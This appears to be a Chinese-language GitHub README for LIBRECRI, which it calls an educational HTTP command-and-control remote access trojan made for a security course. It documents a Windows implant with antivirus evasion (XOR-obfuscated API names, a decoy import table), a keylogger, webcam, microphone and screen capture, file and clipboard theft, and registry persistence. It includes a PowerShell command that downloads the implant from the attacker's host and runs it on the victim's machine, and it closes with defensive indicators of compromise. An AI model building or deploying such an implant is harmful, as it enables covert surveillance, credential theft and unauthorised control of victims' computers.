davestinhast/LIBRECRI
GitHub: davestinhast/LIBRECRI
一个教育性质的自定义 HTTP C2 远程访问木马框架,从零实现了 implant 生成、加密通信和远程控制等红队核心技术。
Stars: 0 | Forks: 0
# LIBRECRI:自定义 HTTP C2 框架
这是一个具有教育性质的红队(Offensive)框架,从零开始实现了一个远程访问木马(RAT)。
为 **应用安全课程,IDEX Carlos Salazar Romero** 开发。
## 什么是 LIBRECRI?
LIBRECRI(Libre C Remote Implant)是一个命令与控制(C2)系统,允许从 Kali Linux 远程控制 Windows 计算机。它使用 HTTP 协议(与网页使用的协议相同)进行通信,并附带加密消息。
该项目包含三个部分:
| 文件 | 功能描述 |
|---|---|
| `generador.py` | 主脚本。自动生成 implant 和服务器。 |
| `implant.exe` | 在受害者的 PC 上运行。静默连接至 C2。 |
| `c2_server.py` | 在 Kali 上运行。接收连接并提供控制台。 |
## 依赖项及其必要性
### Python 3
生成器(`generador.py`)和 C2 服务器(`c2_server.py`)均使用 Python 编写。
使用 Python 的原因:
- 内置了 HTTP 服务器(`http.server`),无需安装外部库。
- 允许将 C 代码动态生成为文本,并在每次编译时插入加密密钥。
- 易于阅读、修改和扩展。
### mingw-w64
这是一个交叉编译器:允许在 Linux 上为 Windows 编译 C 代码。
需要它的原因:
- implant 使用纯 C 编写,且必须是原生的 Windows `.exe` 文件。
- 我们不想在 Windows 上进行编译,因为那需要在上面安装 Visual Studio。
- 在 Kali 上,`x86_64-w64-mingw32-gcc` 无需 Windows 即可生成 64 位的 `.exe` 可执行文件。
```
# 一次性安装两个依赖
sudo apt update && sudo apt install mingw-w64 python3 -y
```
## 从零开始使用
```
# 1. 安装依赖(只需一次)
sudo apt update && sudo apt install mingw-w64 python3 -y
# 2. 克隆 repo
git clone https://github.com/davestinhast/LIBRECRI
cd LIBRECRI
# 3. 运行生成器
# 要求:Kali 的 IP、端口、exe 名称
# 生成:implant.exe + c2_server.py + 在 :8080 上提供 exe 服务
python3 generador.py
# 4. 在另一个终端中:启动 C2 服务器
python3 c2_server.py
# 如果重启时出现 "Address already in use":
pkill -f c2_server.py && python3 c2_server.py
```
在受害者的 PC(Windows)上,下载并运行 implant:
```
# 根据生成器的要求替换 IP 和名称
Invoke-WebRequest -Uri "http://:8080/implant.exe" -OutFile "$env:TEMP\implant.exe"
Start-Process "$env:TEMP\implant.exe"
```
## 架构
```
┌──────────────────────────────────────────────────────────┐
│ KALI LINUX │
│ │
│ generador.py │
│ │ │
│ ├── genera claves únicas (FNK 1 byte, PK 16 bytes) │
│ ├── escribe código C del implant con esas claves │
│ ├── compila con mingw-w64 -> implant.exe │
│ ├── genera c2_server.py con las mismas claves │
│ └── sirve el .exe por HTTP en :8080 │
│ │
│ c2_server.py <---- HTTP polling ----> implant.exe │
│ (consola del operador) (PC víctima) │
└──────────────────────────────────────────────────────────┘
```
通信流程:
1. implant 每隔 **850 ms** 唤醒一次,并向服务器发送请求:`GET /cmd`
2. 如果有命令,服务器会响应加密后的命令。
3. implant 解密命令,执行并捕获输出。
4. implant 将加密后的结果发回:`POST /res`
5. 服务器解密并在屏幕上显示结果。
## 已实现的技术
### 每次编译时的 XOR 加密
在每次构建时随机生成的两层 XOR:
- **FNK(1 字节):** 加密二进制文件中的 API 函数名称。`CreateThread`、`WSASocket` 等在可执行文件中不以明文显示,而是与密钥混合在一起。
- **PK(16 字节):** 加密 implant 与服务器之间的 HTTP 流量。没有正确的密钥,流量将无法读取。
每次编译都会产生不同的密钥,从而在可执行文件中生成不同的字节,消除了各构建版本之间任何共同的静态特征码(signature)。
### 动态 API 解析(IAT 伪装)
杀毒软件会检查可执行文件导入了哪些函数(Import Address Table,导入地址表)。如果发现 `CreateRemoteThread` 或 `WSASocket`,就会触发警报。
LIBRECRI **在 IAT 中不导入任何可疑函数**。它在运行时使用 `GetProcAddress` 和动态解密的名称来加载它们:
```
// Los nombres de funciones van cifrados en el binario
// Se descifran en el stack justo antes de usarlos
char fn[32];
_xs(fn, _k_CreateThread, 12); // descifra "CreateThread"
gCTH = GetProcAddress(hKernel, fn); // guarda el puntero
```
动态解析的 DLL(在 IAT 中不可见):
| DLL | 函数 | 数量 |
|---|---|---|
| `kernel32.dll` | CreateProcessA, CreatePipe, ReadFile, Sleep, CreateThread... | 11 |
| `ws2_32.dll` | WSAStartup, WSASocketA, connect, send, recv... | 9 |
| `advapi32.dll` | GetUserNameA, RegOpenKeyExA, RegQueryValueExA... | 4 |
| `user32.dll` | SetWindowsHookExA, CallNextHookEx, GetMessageA... | 4 |
### 诱饵 IAT(Decoy IAT)
为了防止 IAT 看起来为空(这同样很可疑),implant 从 5 个不会引起警报的 DLL 中导入了无害函数:
| DLL | 函数(诱饵) |
|---|---|
| `comctl32.dll` | `InitCommonControlsEx`, `ImageList_Create` |
| `crypt32.dll` | `CertOpenSystemStoreA`, `CertCloseStore` |
| `version.dll` | `GetFileVersionInfoSizeA`, `GetFileVersionInfoA` |
| `winmm.dll` | `waveOutGetNumDevs`, `waveOutGetVolume` |
| `imm32.dll` | `ImmGetDefaultIMEWnd`, `ImmIsIME` |
### 使用 WH_KEYBOARD_LL 的键盘记录器
Windows 拥有一个钩子(hook)系统,允许程序接收整个系统中每次按键的通知。`WH_KEYBOARD_LL`(类型 13)钩子是一种低级钩子,可以在按键到达任何应用程序之前将其捕获。
```
// Se instala con SetWindowsHookExA y un message loop en hilo separado
// Cada pulsación llega a _kbhook(), se mapea a texto legible
// y se acumula en un buffer de 32 KB en memoria
```
命令:`keyscan_start` / `keyscan_dump` / `keyscan_stop`
### 屏幕截图
PowerShell 使用 `System.Drawing`(Windows 自带库)将屏幕内容复制到 Bitmap 中,将其序列化为 PNG 格式并以 Base64 返回。服务器清理 Base64,修正 padding 并将 PNG 保存到桌面。
最大输出缓冲区:**4 MB**。一张 1080p 的屏幕截图在 Base64 编码下可能会超过 1 MB。
### 摄像头(avicap32)
由 PowerShell 实时编译的 C# 脚本(`Add-Type`)。使用 `avicap32.dll`,这是 Windows 通过 DirectShow 操作摄像头的 API:
1. `capCreateCaptureWindowA` 创建一个不可见的捕获窗口
2. `WM_CAP_DRIVER_CONNECT` 连接第一个可用的摄像头
3. 等待 1.5 秒让摄像头画面稳定
4. `WM_CAP_GRAB_FRAME` 捕获一帧
5. `WM_CAP_FILE_SAVEDIB` 将其作为 BMP 保存在 `%TEMP%`
### 麦克风录音(waveIn API)
实时编译的 C# 脚本。使用 `winmm.dll`,这是 Windows 的音频 API:
1. `waveInOpen` 打开音频设备(PCM 16kHz,单声道,16 位)
2. 分配大小为 `N秒 x 32000 字节` 的缓冲区
3. `waveInStart` + `Thread.Sleep(N * 1000)` 录制 N 秒
4. 手动构造 WAV RIFF 标头并以 Base64 返回文件
implant 的接收缓冲区:**24 KB**。经过 UTF-16LE Base64 编码的 C# 麦克风命令会超过 6,000 字节。
### 会话持久化与目录导航
服务器在变量 `_CWD` 中维护 implant 的当前工作目录。每个 shell 命令在执行前都会加上 `cd /d "" &&` 前缀,从而使 `cd` 在不同命令间持久有效。如果没有这个技巧,implant 将始终返回到初始目录,因为每个命令都会启动一个新的 `cmd.exe` 进程。
## 构建过程
### 1. HTTP 通信通道
首先需要设计协议。选择 HTTP 是因为它几乎可以穿透任何防火墙,而无需特殊的规则。implant 进行主动轮询(每 850ms 请求一次),而不是等待服务器调用,这避免了服务器需要直接访问受害者网络的需要。
### 2. 生成器
编写了一个 Python 脚本,将 C 源代码作为字符串构建,并在编译前插入密钥和网络参数。最终结果是生成一对包含唯一且密不可分的密钥的 implant 与服务器:使用不同密钥生成的服务器会静默拒绝错误的 implant。
### 3. C 语言编写的 Implant
选择 C 语言是因为它能生成不需要外部 runtime 依赖的、较小的原生可执行文件。使用 `mingw-w64` 作为 Kali 上的交叉编译器。implant 使用 `__attribute__((constructor))` 在 `WinMain` 之前进行初始化,检查全局 mutex `Global\LCRI_INST` 以防止多重实例,并在后台启动 C2 线程。
### 4. 动态解析与混淆
研究了 Windows PE 可执行文件的 IAT 结构,并采用了运行时结合 XOR 加密名称通过 `GetProcAddress` 加载函数的技术。在可见的 IAT 中添加诱饵,是为了让自动分析无法检测到异常为空的 IAT。
### 5. 捕获模块
- **屏幕截图:** 包含 `System.Drawing` 的 PowerShell 单行命令。
- **摄像头和麦克风:** 使用 `Add-Type` 实时编译的内联 C#。C# 脚本以 PowerShell EncodedCommand(UTF-16LE Base64)的形式传递给 implant,以避免命令行中的转义问题。
- **键盘记录器:** 原生 C 编写,在单独的带有消息循环的线程中使用 `SetWindowsHookExA`。
### 6. 遇到的错误及其解决方法
| 问题 | 根本原因 | 解决方案 |
|---|---|---|
| 截图 "incorrect padding" | PowerShell 在 Base64 中插入了换行符 | 在解码前去除空白字符 |
| 截图损坏 / "unexpected end of file" | MAXOUT=128KB 截断了约 1MB 的图像 | 将 MAXOUT 提高到 4 MB |
| `record_mic` 立即返回而没有录制 | 6272 字节的命令超过了 4096 字节的 CBUF | 将 CBUF 提高到 24 KB |
| `cd` 无法在命令间持久生效 | 每个命令都会从原始 CWD 启动一个新的 `cmd.exe` | 服务器端使用带 `cd /d` 前缀的 `_CWD` 变量 |
| 重启服务器时出现 "Address already in use" | Socket 处于 TIME_WAIT 状态 | 使用 `SO_REUSEADDR` 并设置 `allow_reuse_address = True` |
## 可用命令
| 命令 | 描述 | 结果 |
|---|---|---|
| `sysinfo` | 系统信息:主机名、OS、用户 | 屏幕显示 |
| `getuid` | 当前用户和域 | 屏幕显示 |
| `screenshot` | 完整桌面的截图 | 保存为 .png 至 ~/Desktop |
| `webcam_snap` | 使用摄像头拍照 | 保存为 .bmp 至 ~/Desktop |
| `keyscan_start` | 激活按键记录 | 无 |
| `keyscan_dump` | 显示捕获的按键 | 屏幕显示 |
| `keyscan_stop` | 关闭按键记录 | 无 |
| `record_mic -d N` | 录制 N 秒麦克风音频 | 保存为 .wav 至 ~/Desktop |
| `download <路径>` | 从受害者处下载文件 | 文件保存至 ~/Desktop |
| `cd <路径>` | 切换目录(持久化) | 屏幕显示 |
| `ls` | 列出文件 | 屏幕显示 |
| `cat <文件>` | 显示文件内容 | 屏幕显示 |
| `ps` | 活动进程 | 屏幕显示 |
| `clipboard` | 剪贴板内容 | 屏幕显示 |
| `persist <名称>` | 在 Windows 启动项中持久化 | 无 |
| `net` | 网络配置 | 屏幕显示 |
| `close` | 关闭会话,等待新连接 | 无 |
| `exit` | 关闭 implant 和服务器 | 无 |
| `<任意文本>` | 在受害者的 cmd.exe 中执行 | 屏幕显示 |
## 与 Meterpreter 的比较
| 特性 | LIBRECRI | 未混淆的 Meterpreter |
|---|---|---|
| 传输方式 | HTTP/1.0 轮询 | TCP raw / HTTPS |
| 加密 | XOR 16 字节 | AES-256 + RSA |
| 执行方式 | 磁盘上的 .exe | Reflective DLL injection,仅限内存 |
| 已知的 AV 特征码 | 无,构建唯一 | 极易被检测 |
| 扩展性 | 固定命令 | 可加载的动态模块 |
| 多重会话 | 否 | 是 |
| 高级后渗透(Post-exploitation) | 否 | getsystem, hashdump, pivoting |
由于没有已知的特征码,LIBRECRI 在静态免杀(Evasion)方面超越了未混淆的 Meterpreter。带有混淆器和反射式注入的 Meterpreter 在其他所有方面都超越了 LIBRECRI。
## 妥协指标(IOC)
| 类别 | 指标 |
|---|---|
| 网络 | 每隔约 850ms 请求一次 GET /cmd 和 POST /res |
| 网络 | HTTP 请求头中的 X-MID: 主机名 |
| 进程 | 没有可见窗口的 GUI 可执行文件发起网络连接 |
| IAT | 仅有来自 comctl32, crypt32, version, winmm, imm32 的导入 |
| 键盘记录器 | 来自无窗口进程的 SetWindowsHookExA 调用 WH_KEYBOARD_LL |
| 持久化 | HKCU\Software\Microsoft\WindowsCurrentVersion\Run\名称 |
| Mutex | Global\LCRI_INST |
标签:AI合规, IP 地址批量处理, 命令与控制, 端点可见性, 网络信息收集, 网络安全, 远控木马, 隐私保护